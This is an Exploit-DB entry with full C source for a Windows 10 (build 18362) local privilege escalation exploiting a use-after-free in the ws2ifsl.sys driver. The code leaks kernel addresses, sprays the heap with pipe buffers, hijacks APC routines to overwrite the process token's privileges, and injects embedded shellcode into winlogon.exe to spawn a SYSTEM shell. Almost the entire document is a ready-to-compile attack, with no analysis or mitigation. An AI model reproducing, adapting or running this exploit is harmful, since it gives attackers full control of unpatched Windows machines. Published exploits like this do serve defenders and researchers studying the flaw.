Microsoft Windows 10 (19H1 1901 x64) - 'ws2ifsl.sys' Use After Free Local Privilege Escalation (kASLR kCFG SMEP)

EDB-ID:

47935




Date:

2020-01-07


/*
The exploit works on 19H1.
It was tested with ntoskrnl version 10.0.18362.295

EDB Note: Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47935.zip
*/

#include <Windows.h>
#include <stdio.h>
#include <string>
#include <ntstatus.h>
#include <processthreadsapi.h>
#include <winternl.h>
#include <tlhelp32.h>

#pragma comment(lib, "ntdll.lib")

// run cmd.exe
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51" \
"\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \
"\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0" \
"\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed" \
"\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88" \
"\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44" \
"\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" \
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1" \
"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44" \
"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49" \
"\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a" \
"\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41" \
"\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" \
"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" \
"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" \
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47" \
"\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64\x2e\x65" \
"\x78\x65\x00";

static const unsigned int shellcode_len = 0x1000;

#define MAXIMUM_FILENAME_LENGTH 255 
#define SystemModuleInformation  0xb
#define SystemHandleInformation 0x10

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
	ULONG ProcessId;
	UCHAR ObjectTypeNumber;
	UCHAR Flags;
	USHORT Handle;
	void* Object;
	ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;

typedef struct _SYSTEM_HANDLE_INFORMATION
{
	ULONG NumberOfHandles;
	SYSTEM_HANDLE Handels[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;

typedef struct SYSTEM_MODULE {
	ULONG                Reserved1;
	ULONG                Reserved2;
#ifdef _WIN64
	ULONG				Reserved3;
#endif
	PVOID                ImageBaseAddress;
	ULONG                ImageSize;
	ULONG                Flags;
	WORD                 Id;
	WORD                 Rank;
	WORD                 w018;
	WORD                 NameOffset;
	CHAR                 Name[MAXIMUM_FILENAME_LENGTH];
}SYSTEM_MODULE, * PSYSTEM_MODULE;

typedef struct SYSTEM_MODULE_INFORMATION {
	ULONG                ModulesCount;
	SYSTEM_MODULE        Modules[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;

// exploit specific type information 
typedef struct _FILE_FULL_EA_INFORMATION {
	ULONG NextEntryOffset;		// +0x0
	UCHAR Flags;				// +4
	UCHAR EaNameLength;			// +5
	USHORT EaValueLength;		// +6
	CHAR EaName[1];				// +9
} FILE_FULL_EA_INFORMATION, * PFILE_FULL_EA_INFORMATION;

typedef struct _PROC_DATA {
	HANDLE apcthread;				// +0x0
	void* unknown1;				// +0x8
	void* unknown2;				// +0x10
	void* unknown3;				// +0x18
	void* unknown4;				// +0x20
} PROC_DATA, * PPROC_DATA;

typedef struct _SOCK_DATA {
	HANDLE unknown;				// +0x0
	HANDLE procDataHandle;	// +0x8	
} SOCK_DATA, * PSOCK_DATA;

// undocumented apis definitions 

typedef NTSTATUS(WINAPI* NtWriteFile_t)(HANDLE FileHandle,
	HANDLE Event,
	PIO_APC_ROUTINE ApcRoutine,
	PVOID ApcContext,
	PIO_STATUS_BLOCK IoStatusBlock,
	PVOID Buffer,
	ULONG Length,
	PLARGE_INTEGER ByteOffset,
	PULONG key);

typedef NTSTATUS(WINAPI* NtTestAlert_t)(void);

typedef NTSTATUS(WINAPI* RtlGetVersion_t)(PRTL_OSVERSIONINFOW lpVersionInformation);

// resolved function pointers at runtime
NtTestAlert_t g_NtTestAlert = 0;
NtWriteFile_t g_NtWriteFile = 0;
RtlGetVersion_t g_RtlGetVersion = 0;

HANDLE	g_Event1 = NULL;
HANDLE	g_Event2 = NULL;
HANDLE	g_Event3 = NULL;

int g_done1 = 0;
int g_done2 = 0;

#define TOKEN_OFFSET 0x40			//_SEP_TOKEN_PRIVILEGES offset
#define OFFSET_LINKEDLIST 0xA8		//kthread apc offset

// generic helper function

void InjectToWinlogon()
{
	PROCESSENTRY32 entry;
	entry.dwSize = sizeof(PROCESSENTRY32);

	HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

	int pid = -1;
	if (Process32First(snapshot, &entry))
	{
		while (Process32Next(snapshot, &entry))
		{			
			if (_strcmpi(entry.szExeFile, "winlogon.exe") == 0)
			{
				pid = entry.th32ProcessID;
				break;
			}
		}
	}

	CloseHandle(snapshot);

	if (pid < 0)
	{
		printf("Could not find process\n");
		return;
	}

	HANDLE h = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
	if (!h)
	{
		printf("Could not open process: %x", GetLastError());
		return;
	}
	
	void* buffer = VirtualAllocEx(h, NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	if (!buffer)
	{
		printf("[-] VirtualAllocEx failed\n");
	}
	
	if (!buffer)
	{
		printf("[-] remote allocation failed");
		return;
	}

	if (!WriteProcessMemory(h, buffer, shellcode, sizeof(shellcode), 0))
	{
		printf("[-] WriteProcessMemory failed");
		return;
	}

	HANDLE hthread = CreateRemoteThread(h, 0, 0, (LPTHREAD_START_ROUTINE)buffer, 0, 0, 0);

	if (hthread == INVALID_HANDLE_VALUE)
	{
		printf("[-] CreateRemoteThread failed");
		return;
	}
}

HMODULE GetNOSModule()
{
	HMODULE hKern = 0;
	hKern = LoadLibraryEx("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
	return hKern;
}

DWORD64 GetModuleAddr(const char* modName)
{
	PSYSTEM_MODULE_INFORMATION buffer = (PSYSTEM_MODULE_INFORMATION)malloc(0x20);

	DWORD outBuffer = 0;
	NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, buffer, 0x20, &outBuffer);

	if (status == STATUS_INFO_LENGTH_MISMATCH)
	{
		free(buffer);
		buffer = (PSYSTEM_MODULE_INFORMATION)malloc(outBuffer);
		status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, buffer, outBuffer, &outBuffer);
	}

	if (!buffer)
	{
		printf("[-] NtQuerySystemInformation error\n");
		return 0;
	}

	for (unsigned int i = 0; i < buffer->ModulesCount; i++)
	{
		PVOID kernelImageBase = buffer->Modules[i].ImageBaseAddress;
		PCHAR kernelImage = (PCHAR)buffer->Modules[i].Name;		
		if (_stricmp(kernelImage, modName) == 0)
		{
			free(buffer);
			return (DWORD64)kernelImageBase;
		}
	}
	free(buffer);
	return 0;
}


DWORD64 GetKernelPointer(HANDLE handle, DWORD type)
{
	PSYSTEM_HANDLE_INFORMATION buffer = (PSYSTEM_HANDLE_INFORMATION) malloc(0x20);

	DWORD outBuffer = 0;
	NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, 0x20, &outBuffer);

	if (status == STATUS_INFO_LENGTH_MISMATCH)
	{
		free(buffer);
		buffer = (PSYSTEM_HANDLE_INFORMATION) malloc(outBuffer);
		status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, outBuffer, &outBuffer);
	}

	if (!buffer)
	{
		printf("[-] NtQuerySystemInformation error \n");
		return 0;
	}

	for (size_t i = 0; i < buffer->NumberOfHandles; i++)
	{
		DWORD objTypeNumber = buffer->Handels[i].ObjectTypeNumber;

		if (buffer->Handels[i].ProcessId == GetCurrentProcessId() && buffer->Handels[i].ObjectTypeNumber == type)
		{
			if (handle == (HANDLE)buffer->Handels[i].Handle)
			{
				//printf("%p %d %x\n", buffer->Handels[i].Object, buffer->Handels[i].ObjectTypeNumber, buffer->Handels[i].Handle);
				DWORD64 object = (DWORD64)buffer->Handels[i].Object;
				free(buffer);
				return object;
			}
		}
	}
	printf("[-] handle not found\n");
	free(buffer);
	return 0;
}

DWORD64 GetGadgetAddr(const char* name)
{
	DWORD64 base = GetModuleAddr("\\SystemRoot\\system32\\ntoskrnl.exe");
	HMODULE mod = GetNOSModule();
	if (!mod)
	{
		printf("[-] leaking ntoskrnl version\n");
		return 0;
	}
	DWORD64 offset = (DWORD64)GetProcAddress(mod, name);

	DWORD64 returnValue = base + offset - (DWORD64)mod;
	FreeLibrary(mod);
	return returnValue;
}

/*	
	After the bug is triggerd the first thime, this threads gets notified and it will trigger its function pointer,
	which will call our gadget function and write the first 8 bytes.
*/
DWORD WINAPI APCThread1(LPVOID lparam)
{
	SetEvent(g_Event1);
	while (1)
	{
		if (g_done1)
		{
			printf("[+] triggering first APC execution\n");
			
			g_NtTestAlert();		

			while (1)
			{
				Sleep(0x1000);
			}
		}
		else
		{
			Sleep(1);
		}
	}
	return 0;
}

/*
	After the bug is triggerd the second thime, this threads gets notified and it will trigger its function pointer again and write the second 8 bytes.
	After that the shellcode is injected into the system process.
*/
DWORD WINAPI APCThread2(LPVOID lparam)
{
	SetEvent(g_Event2);
	while (1)
	{
		if (g_done2)
		{
			printf("[+] triggering second APC execution\n");
						
			g_NtTestAlert();

			InjectToWinlogon();
			SetEvent(g_Event3);

			while (1)
			{
				Sleep(0x1000);
			}
		}
		else
		{
			Sleep(1);
		}
	}
	return 0;
}

HANDLE CreateSocketHandle(HANDLE procHandle)
{
	HANDLE fileHandle = 0;
	UNICODE_STRING deviceName;
	OBJECT_ATTRIBUTES object;
	IO_STATUS_BLOCK IoStatusBlock;

	RtlInitUnicodeString(&deviceName, (PWSTR)L"\\Device\\WS2IFSL\\NifsSct");

	InitializeObjectAttributes(&object, &deviceName, 0, NULL, NULL);

	FILE_FULL_EA_INFORMATION* eaBuffer = (FILE_FULL_EA_INFORMATION*)malloc(sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") + sizeof(SOCK_DATA));
	if (!eaBuffer)
	{
		printf("[-] malloc error\n");
		return fileHandle;
	}
	eaBuffer->NextEntryOffset = 0;
	eaBuffer->Flags = 0;
	eaBuffer->EaNameLength = sizeof("NifsSct") - 1;
	eaBuffer->EaValueLength = sizeof(SOCK_DATA);

	RtlCopyMemory(eaBuffer->EaName, "NifsSct", (SIZE_T)eaBuffer->EaNameLength + 1);

	SOCK_DATA * eaData = (SOCK_DATA*)(((char*)eaBuffer) + sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") - 4);

	eaData->unknown = (void*) 0x242424224;
	eaData->procDataHandle = (void*) procHandle;

	NTSTATUS status = NtCreateFile(&fileHandle, GENERIC_WRITE, &object, &IoStatusBlock, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, 0, eaBuffer, sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") + sizeof(PROC_DATA));
	if (status != STATUS_SUCCESS)
	{
		printf("[-] NtCreateFile error: %x \n", status);
		free(eaBuffer);
		return fileHandle;
	}

	free(eaBuffer);
	return fileHandle;
}

HANDLE CreateProcessHandle(HANDLE hAPCThread)
{
	HANDLE fileHandle = 0;
	UNICODE_STRING deviceName;
	OBJECT_ATTRIBUTES object;
	IO_STATUS_BLOCK IoStatusBlock;

	RtlInitUnicodeString(&deviceName, (PWSTR)L"\\Device\\WS2IFSL\\NifsPvd");

	InitializeObjectAttributes(&object, &deviceName, 0, NULL, NULL);

	FILE_FULL_EA_INFORMATION* eaBuffer = (FILE_FULL_EA_INFORMATION*)malloc(sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") + sizeof(PROC_DATA));
	if (!eaBuffer)
	{
		printf("[-] malloc error\n");
		return fileHandle;
	}
	eaBuffer->NextEntryOffset = 0;
	eaBuffer->Flags = 0;
	eaBuffer->EaNameLength = sizeof("NifsPvd") - 1;
	eaBuffer->EaValueLength = sizeof(PROC_DATA);

	RtlCopyMemory(eaBuffer->EaName, "NifsPvd", (SIZE_T)eaBuffer->EaNameLength + 1);
	PROC_DATA * eaData = (PROC_DATA*)(((char*)eaBuffer) + sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") - 4);

	if (!hAPCThread)
	{
		printf("[-] error thread not found\n");
		free(eaBuffer);
		return 0;
	}

	eaData->apcthread = (void*) hAPCThread;		// thread must be in current process
	eaData->unknown1 = (void*) 0x2222222;		// APC Routine
	eaData->unknown2 = (void*) 0x3333333;		// cancel Rundown Routine
	eaData->unknown3 = (void*) 0x4444444;
	eaData->unknown4 = (void*) 0x5555555;

	NTSTATUS status = NtCreateFile(&fileHandle, MAXIMUM_ALLOWED, &object, &IoStatusBlock, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, 0, eaBuffer, sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") + sizeof(PROC_DATA));
	if (status != STATUS_SUCCESS)
	{
		printf("[-] NtCreateFile error: %x \n", status);
		free(eaBuffer);
		return fileHandle;
	}

	free(eaBuffer);
	return fileHandle;
}

int DoHeapSpray(DWORD64 writeAddress, DWORD64 kthreadAddress)
{	
	DWORD64 nopPointer = GetGadgetAddr("xHalTimerWatchdogStop");
	if (!nopPointer)
	{
		printf("[-] SeSetAccessStateGenericMapping not found\n");
		return 0;
	}

	DWORD64 funPointer = GetGadgetAddr("SeSetAccessStateGenericMapping");
	if (!funPointer)
	{
		printf("[-] SeSetAccessStateGenericMapping not found\n");
		return 0;
	}	

	UCHAR payload[0x120 - 0x48];
	memset(payload, 0x0, sizeof(payload));	   
		
	DWORD64 x = 0x41414141414141;				
	memcpy(payload, &x, 8);
	
	x = 0x12121212;								
	memcpy(payload + 8, &x, 8);
	
	x = kthreadAddress + OFFSET_LINKEDLIST;		// apc linked list 
	memcpy(payload + 0x10, &x, 8);
	
	x = kthreadAddress + OFFSET_LINKEDLIST;
	memcpy(payload + 0x18, &x, 8);
	
	x = funPointer;
	memcpy(payload + 0x20, &x, 8);				// this is the RIP we want to execute, in case of NtTestAlert

	x = nopPointer;
	memcpy(payload + 0x28, &x, 8);				// this is the RIP we want to execute, in case of rundown routine 
	
	x = 0xffffffffffffffff;						// this is to be written
	memcpy(payload + 0x30, &x, 8);
	
	x = 0xffffffffffffffff;						// this is to be written, but it gets changed..
	memcpy(payload + 0x38, &x, 8);
	
	x = 0x2424242424242424;
	memcpy(payload + 0x40, &x, 8);
	
	x = writeAddress;							// this is where to write 
	memcpy(payload + 0x48, &x, 8);
 
	for (size_t i = 0; i < 0x70; i++)
	{
		HANDLE readPipe;
		HANDLE writePipe;
		DWORD resultLength = 0;
	
		BOOL res = CreatePipe(&readPipe, &writePipe, NULL, sizeof(payload));
		if (!res)
		{
			printf("[-] error creating pipe\n");
			return 0;
		}
		res = WriteFile(writePipe, payload, sizeof(payload), &resultLength, NULL);
	}

	return 1;
}

/*
	This function will trigger the use after free in ws2ifsl.sys and
	will try to reallocate the buffer with controlled content.
*/
void TriggerBug(HANDLE threadHandle, DWORD64 writeAddress, DWORD64 kthreadAddress, int id)
{
	HANDLE procHandle = CreateProcessHandle(threadHandle);
	printf("[!] procHandle %x\n", (DWORD)procHandle);

	HANDLE sockHandle = CreateSocketHandle(procHandle);
	printf("[!] sockHandle %x\n", (DWORD)sockHandle);

	char* readBuffer = (char*)malloc(0x100);
	DWORD bytesRead = 0;

	IO_STATUS_BLOCK io;
	LARGE_INTEGER byteOffset;
	byteOffset.HighPart = 0;
	byteOffset.LowPart = 0;
	byteOffset.QuadPart = 0;
	byteOffset.u.LowPart = 0;
	byteOffset.u.HighPart = 0;
	ULONG key = 0;

	CloseHandle(procHandle);

	NTSTATUS ret = g_NtWriteFile(sockHandle, 0, 0, 0, &io, readBuffer, 0x100, &byteOffset, &key);

	// this close the objecte and we trigger the use after free
	CloseHandle(sockHandle);

	// this spray will reclaim the buffer
	if (!DoHeapSpray(writeAddress, kthreadAddress))
	{
		printf("[-] error doHeapSpray\n");
		return;
	}

	if (id == 1)
	{
		g_done1 = 1;
	}

	if (id == 2)
	{
		g_done2 = 1;
	}

	printf("[+] done\n");
	Sleep(0x20);
	free(readBuffer);

	return;
}

/*
	This function resolves all function pointer for native api calls.
*/
bool InitFunctionPointers()
{
	HMODULE hNtDll = NULL;
	hNtDll = LoadLibrary("ntdll.dll");
	if (!hNtDll)
	{
		printf("error\n");
		return false;
	}

	g_NtTestAlert = (NtTestAlert_t)GetProcAddress(hNtDll, "NtTestAlert");
	if (!g_NtTestAlert)
	{
		printf("error\n");
		return false;
	}

	g_NtWriteFile = (NtWriteFile_t)GetProcAddress(hNtDll, "NtWriteFile");
	if (!g_NtWriteFile)
	{
		printf("[-] GetProcAddress() NtWriteFile failed.\n");
		return false;
	}

	g_RtlGetVersion = (RtlGetVersion_t)GetProcAddress(hNtDll, "RtlGetVersion");
	if (!g_NtWriteFile)
	{
		printf("[-] GetProcAddress() RtlGetVersion failed.\n");
		return false;
	}

	return true;
}

int main()
{
	// intialize event for thread synchronization
	g_Event1 = CreateEvent(0, 0, 0, 0);
	g_Event2 = CreateEvent(0, 0, 0, 0);
	g_Event3 = CreateEvent(0, 0, 0, 0);

	if (g_Event1 == INVALID_HANDLE_VALUE || !g_Event1)
	{
		printf("[-] CreateEvent failed\n");
		return 0;
	}
	if (g_Event2 == INVALID_HANDLE_VALUE || !g_Event2)
	{
		printf("[-] CreateEvent failed\n");
		return 0;
	}
	if (g_Event3 == INVALID_HANDLE_VALUE || !g_Event2)
	{
		printf("[-] CreateEvent failed\n");
		return 0;
	}

	if (!InitFunctionPointers())
	{
		printf("[-] InitFunctionPointers failed\n");
		return 0;
	}

	HANDLE proc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId());
	if (!proc)
	{
		printf("[-] OpenProcess failed\n");
		return 0;
	}
	HANDLE token = 0;
	if (!OpenProcessToken(proc, TOKEN_ADJUST_PRIVILEGES, &token))
	{
		printf("[-] OpenProcessToken failed\n");
		return 0;
	}	

	DWORD64 ktoken = GetKernelPointer(token, 0x5);
	DWORD64 where = ktoken + TOKEN_OFFSET;

	printf("[+] found token at: %p\n", (DWORD64) ktoken);


	// check the supported version of this exploit, otherwise we would crash
	RTL_OSVERSIONINFOW osversion;
	g_RtlGetVersion(&osversion);
	
	if (osversion.dwMajorVersion == 10 && osversion.dwBuildNumber == 18362)
	{
		printf("[+] version supported\n");
	}
	else
	{
		printf("[-] sorry version not supported\n");
		return 0;
	}

	HANDLE hAPCThread1 = CreateThread(0, 0, APCThread1, 0, 0, 0);
	if (hAPCThread1 == INVALID_HANDLE_VALUE || !hAPCThread1)
	{
		printf("[-] error CreateThread\n");
		return 0;
	}

	HANDLE hAPCThread2 = CreateThread(0, 0, APCThread2, 0, 0, 0);
	if (hAPCThread2 == INVALID_HANDLE_VALUE || !hAPCThread2)
	{
		printf("[-] error CreateThread\n");
		return 0;
	}
		
	DWORD64 threadAddrAPC1 = GetKernelPointer(hAPCThread1, 0x8);
	if (!threadAddrAPC1)
	{
		printf("[-] GetKernelPointer error \n");
		return 0;
	}
	DWORD64 threadAddrAPC2 = GetKernelPointer(hAPCThread2, 0x8);
	if (!threadAddrAPC2)
	{
		printf("[-] GetKernelPointer error \n");
		return 0;
	}

	// wait for threads to be initialized
	WaitForSingleObject(g_Event1, -1);
	WaitForSingleObject(g_Event2, -1);

	TriggerBug(hAPCThread1, where-8, threadAddrAPC1, 1);
	TriggerBug(hAPCThread2, where, threadAddrAPC2, 2);

	WaitForSingleObject(g_Event3, -1);
	
	ExitProcess(0);
	
	return 0;
}